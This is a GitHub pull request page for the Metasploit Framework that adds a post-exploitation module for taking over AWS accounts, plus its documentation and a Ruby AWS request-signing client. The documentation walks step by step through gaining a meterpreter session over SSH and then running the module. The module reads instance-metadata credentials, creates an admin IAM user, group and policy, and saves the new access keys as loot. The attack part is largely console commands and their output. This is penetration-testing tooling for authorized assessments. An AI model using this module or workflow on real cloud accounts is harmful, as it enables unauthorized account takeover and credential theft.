Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Creates an AWS IAM User from pwned AWS host #7604

Merged
merged 26 commits into from
Dec 8, 2016
Merged
Show file tree
Hide file tree
Changes from 12 commits
Commits
Show all changes
26 commits
Select commit Hold shift + click to select a range
0eaeeb4
Adds a generic AWS client module
godinezj Nov 22, 2016
43e1b5b
Adds module to create an AWS IAM user from a pwned AWS host
godinezj Nov 22, 2016
c485870
Added reference and minor fixes
godinezj Nov 23, 2016
b4add59
Moved metadata_creds() so Client can be included in Aux/Post modules
godinezj Nov 25, 2016
0700b17
Added sanity checks
godinezj Nov 25, 2016
83e0a21
Added unit tests
godinezj Nov 25, 2016
53a6658
Removed dubious unit test
godinezj Nov 28, 2016
a49a983
Removed reference to not yet existing module
godinezj Nov 29, 2016
f8789fe
Moved METADATA_IP to advanced options
godinezj Nov 29, 2016
46ce1df
Now using random string as IAM_USERNAME unless specified
godinezj Nov 29, 2016
cb03136
Fixed setting IAM_USERNAME
godinezj Nov 29, 2016
497e029
Fixed checking for access keys being retrieved
godinezj Nov 29, 2016
8f21a1f
move most options to advance, since they never change
jhart-r7 Dec 7, 2016
a13382c
Address most of rubocop's nits
jhart-r7 Dec 7, 2016
0b46e90
Only print out AWS API responses when in verbose mode
jhart-r7 Dec 7, 2016
1c3f043
Move some options back to non-advanced
jhart-r7 Dec 7, 2016
48c9e7d
Merge pull request #1 from jhart-r7/pr/fixup-7604
godinezj Dec 7, 2016
99ba1e4
Removed unused params
godinezj Dec 7, 2016
a9cb08a
Token should be passed as nil if not set
godinezj Dec 7, 2016
ee0e5e8
Updated README
godinezj Dec 7, 2016
33add4c
Updated spec to match latest changes
godinezj Dec 7, 2016
aaa4955
Move call_api printing to verbose
jhart-r7 Dec 8, 2016
162204b
Support creating a password for the user, etc
jhart-r7 Dec 8, 2016
3e412a8
Start documenting api/console create options
jhart-r7 Dec 8, 2016
70668c2
Use better loot args
jhart-r7 Dec 8, 2016
35340ec
Merge pull request #2 from jhart-r7/pr/fixup-7604
godinezj Dec 8, 2016
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
115 changes: 115 additions & 0 deletions documentation/modules/post/multi/escalate/aws_create_iam_user.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
# aws_create_iam_user

aws_create_iam_user is a simple post module that can be used to take over AWS
accounts. Sure, it is fun enough to take over a single host, but you can own all
hosts in the account if you simply create an admin user.

## Privileges

This module depends on administrators being lazy and not using the least
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor, but add a blank line to start this section (like you did previously)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

got it.

privileges possible. Only on rare cases should instances have the following
privileges.

* iam:CreateUser
* iam:CreateGroup
* iam:PutGroupPolicy
* iam:AddUserToGroup
* iam:CreateAccessKey

## Establish a foothold

You first need a foothold in AWS, e.g., here we use `sshexec` to get the
foothold and launch a meterpreter session.

```
$ ./msfconsole
...
msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) > set password some_user
password => some_user
msf exploit(sshexec) > set username some_user
username => some_user
msf exploit(sshexec) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(sshexec) > set payload linux/x86/meterpreter/bind_tcp
payload => linux/x86/meterpreter/bind_tcp
msf exploit(sshexec) > exploit -j
[*] Exploit running as background job.

[*] Started bind handler
msf exploit(sshexec) > [*] 192.168.1.2:22 - Sending stager...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Command Stager progress - 42.09% done (306/727 bytes)
[*] Command Stager progress - 100.00% done (727/727 bytes)
[*] Sending stage (1495599 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.1:33750 -> 192.168.1.2:4444) at 2016-11-21 17:58:42 +0000
```

We will be using session 1.

```
msf exploit(sshexec) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/linux uid=50011, gid=50011, euid=50011, egid=50011, suid=50011, sgid=50011 @ ip-19-... 192.168.1.1:41634 -> 192.168.1.2:4444 (192.168.1.2)

```

## Create IAM User

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please also document the usage of the other options, in particular the IAM_USERNAME, SecretAccessKey, AccessKeyId.

Now you can load `aws_create_iam_user` and specify a meterpreter sesssion,
e.g., `SESSION 1`.

```
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > exploit

[*] 169.254.169.254:80 - looking for creds...
[*] Creating user: metasploit
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[!] Path: /
[!] UserName: metasploit
[!] Arn: arn:aws:iam::097986286576:user/metasploit
[!] UserId: AIDA...
[!] CreateDate: 2016-11-21T17:59:50.010Z
[*] Creating group: metasploit
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[!] Path: /
[!] GroupName: metasploit
[!] Arn: arn:aws:iam::097986286576:group/metasploit
[!] GroupId: AGPAIENI6YTM5JVRQ2452
[!] CreateDate: 2016-11-21T17:59:50.554Z
[*] Creating group policy: metasploit
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[!] xmlns: https://iam.amazonaws.com/doc/2010-05-08/
[!] ResponseMetadata: {"RequestId"=>"4c43248-d314-1226-bedd-234234232"}
[*] Adding user (metasploit) to group: metasploit
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[!] xmlns: https://iam.amazonaws.com/doc/2010-05-08/
[!] ResponseMetadata: {"RequestId"=>"4c43248-d314-1226-bedd-234234232"}
[*] Creating API Keys for metasploit
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[!] AccessKeyId: AKIA...
[!] SecretAccessKey: THE SECRET ACCESS KEY...
[!] AccessKeySelector: HMAC
[!] UserName: metasploit
[!] Status: Active
[!] CreateDate: 2016-11-21T17:59:51.967Z
[+] API keys stored at: /home/pwner/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
[*] Post module execution completed
msf post(aws_create_iam_user) > exit -y
```

You can see the API keys stored in loot:

```
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt

{"AccessKeyId":"AKIA...","SecretAccessKey":"THE SECRET ACCESS KEY...","AccessKeySelector":"HMAC","UserName":"metasploit","Status":"Active","CreateDate":"2016-11-21T17:59:51.967Z"}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What should the user do with this information? How specifically should they use these credentials?

```
179 changes: 179 additions & 0 deletions lib/metasploit/framework/aws/client.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,179 @@
require 'openssl'

module Metasploit
module Framework
module Aws
module Client
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It would be excellent if there were specs for this client, or at least the critical parts. Some seem easily testable, others not. See what you can do and we can lend a hand.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On it.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added spec, please advice.

USER_AGENT = "aws-sdk-ruby2/2.6.27 ruby/2.3.2 x86_64-darwin15"
include Msf::Exploit::Remote::HttpClient
# because Post modules require these to be defined when including HttpClient
def register_autofilter_ports(ports=[]); end
def register_autofilter_hosts(ports=[]); end
def register_autofilter_services(services=[]); end

def hexdigest(value)
if value.nil? || !value.instance_of?(String)
print_error "Unexpected value format"
return nil
end
digest = OpenSSL::Digest::SHA256.new
if value.respond_to?(:read)
chunk = nil
chunk_size = 1024 * 1024 # 1 megabyte
digest.update(chunk) while chunk = value.read(chunk_size)
value.rewind
else
digest.update(value)
end
digest.hexdigest
end

def hmac(key, value)
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String)
print_error "Unexpected key/value format"
return nil
end
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, value)
end

def hexhmac(key, value)
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String)
print_error "Unexpected key/value format"
return nil
end
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, value)
end

def request_to_sign(headers, body_digest)
if headers.nil? || !headers.instance_of?(Hash) || body_digest.nil? || !body_digest.instance_of?(String)
return nil, nil
end
headers_block = headers.sort_by(&:first).map do |k,v|
v = "#{v},#{v}" if k == 'Host'
"#{k.downcase}:#{v}"
end.join("\n")
headers_list = headers.keys.sort.map(&:downcase).join(';')
flat_request = [ "POST", "/", '', headers_block + "\n", headers_list, body_digest].join("\n")
[headers_list, flat_request]
end

def sign(creds, service, headers, body_digest, now)
date_mac = hmac("AWS4" + creds.fetch('SecretAccessKey'), now[0, 8])
region_mac = hmac(date_mac, datastore['Region'])
service_mac = hmac(region_mac, service)
credentials_mac = hmac(service_mac, 'aws4_request')
headers_list, flat_request = request_to_sign(headers, body_digest)
doc = "AWS4-HMAC-SHA256\n#{now}\n#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request\n#{hexdigest(flat_request)}"

signature = hexhmac(credentials_mac, doc)
[headers_list, signature]
end

def auth(creds, service, headers, body_digest, now)
headers_list, signature = sign(creds, service, headers, body_digest, now)
"AWS4-HMAC-SHA256 Credential=#{creds.fetch('AccessKeyId')}/#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request, SignedHeaders=#{headers_list}, Signature=#{signature}"
end

def body(vars_post)
pstr = ""
vars_post.each_pair do |var,val|
pstr << '&' if pstr.length > 0
pstr << var
pstr << '='
pstr << val
end
pstr
end

def headers(creds, service, body_digest, body_length, now = nil)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

body_length is unused in this method but passed in where used. now never seems to be passed.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

now is passed so that unit test works.

now = Time.now.utc.strftime("%Y%m%dT%H%M%SZ") if now.nil?
headers = {
'Content-Type' => 'application/x-www-form-urlencoded; charset=utf-8',
'Accept-Encoding' => '',
'User-Agent' => USER_AGENT,
'X-Amz-Date' => now,
'Host' => datastore['RHOST'],
'X-Amz-Content-Sha256' => body_digest,
'Accept' => '*/*'
}
headers['X-Amz-Security-Token'] = creds['Token'] if creds['Token']
sign_headers = ['Content-Type', 'Host', 'User-Agent', 'X-Amz-Content-Sha256', 'X-Amz-Date']
auth_headers = headers.select { |k, _| sign_headers.include?(k) }
headers['Authorization'] = auth(creds, service, auth_headers, body_digest, now)
headers
end

def print_hsh(hsh)
return if hsh.nil? || !hsh.instance_of?(Hash)
hsh.each do |key, value|
print_warning "#{key}: #{value}"
end
end

def print_results(doc, action)
response = "#{action}Response"
result = "#{action}Result"
resource = /[A-Z][a-z]+([A-Za-z]+)/.match(action)[1]

if doc["ErrorResponse"] && doc["ErrorResponse"]["Error"]
print_error doc["ErrorResponse"]["Error"]["Message"]
return nil
end

idoc = doc.fetch(response)
if idoc.nil? || !idoc.instance_of?(Hash)
print_error "Unexpected response structure"
return {}
end
idoc = idoc[result] if idoc[result]
idoc = idoc[resource] if idoc[resource]

if idoc["member"]
idoc["member"].each do |x|
print_hsh x
end
else
print_hsh idoc
end
idoc
end

def call_api(creds, service, api_params)
print_status("#{peer} - Connecting (#{datastore['RHOST']})...")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

RHOST duplicates the peer information here. Remove it.

body = body(api_params)
body_length = body.length
body_digest = hexdigest(body)
begin
res = send_request_raw(
'method' => 'POST',
'data' => body,
'headers' => headers(creds, service, body_digest, body_length)
)
if res.nil?
print_error "#{peer} did not respond"
else
Hash.from_xml(res.body)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What happens when the currently effective role doesn't have access to the particular API being called?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

AWS will respond with an error message which can be printed out with print_results().

print_results() in is used to print the results of calls to call_*(). aws_create_iam_user and other modules can continue making the API calls even if some of they fail, because all that really matters is that the call to CreateAccessKey is successful.

e.g.,

[*] 169.254.169.254 - looking for creds...
[*] Creating user: metasploit
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[-] User: arn:aws:sts::097986286576:assumed-role/msftestrole/i-f397c880 is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::097986286576:user/metasploit
[*] Creating group: metasploit
...
[!] AccessKeyId: AKIA...
[!] SecretAccessKey: ...
[!] AccessKeySelector: HMAC
[!] UserName: metasploit
[!] Status: Active
[!] CreateDate: 2016-11-23T18:24:44.517Z
[+] API keys stored at: /home/pwner/.msf4/loot/201652_default_559.txt
[*] Post module execution completed

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

👍

end
rescue => e
print_error e.message
end
end

def call_iam(creds, api_params)
api_params['Version'] = '2010-05-08' unless api_params['Version']
call_api(creds, 'iam', api_params)
end

def call_ec2(creds, api_params)
api_params['Version'] = '2015-10-01' unless api_params['Version']
call_api(creds, 'ec2', api_params)
end

def call_sts(creds, api_params)
api_params['Version'] = '2011-06-15' unless api_params['Version']
call_api(creds, 'sts', api_params)
end
end
end
end
end
Loading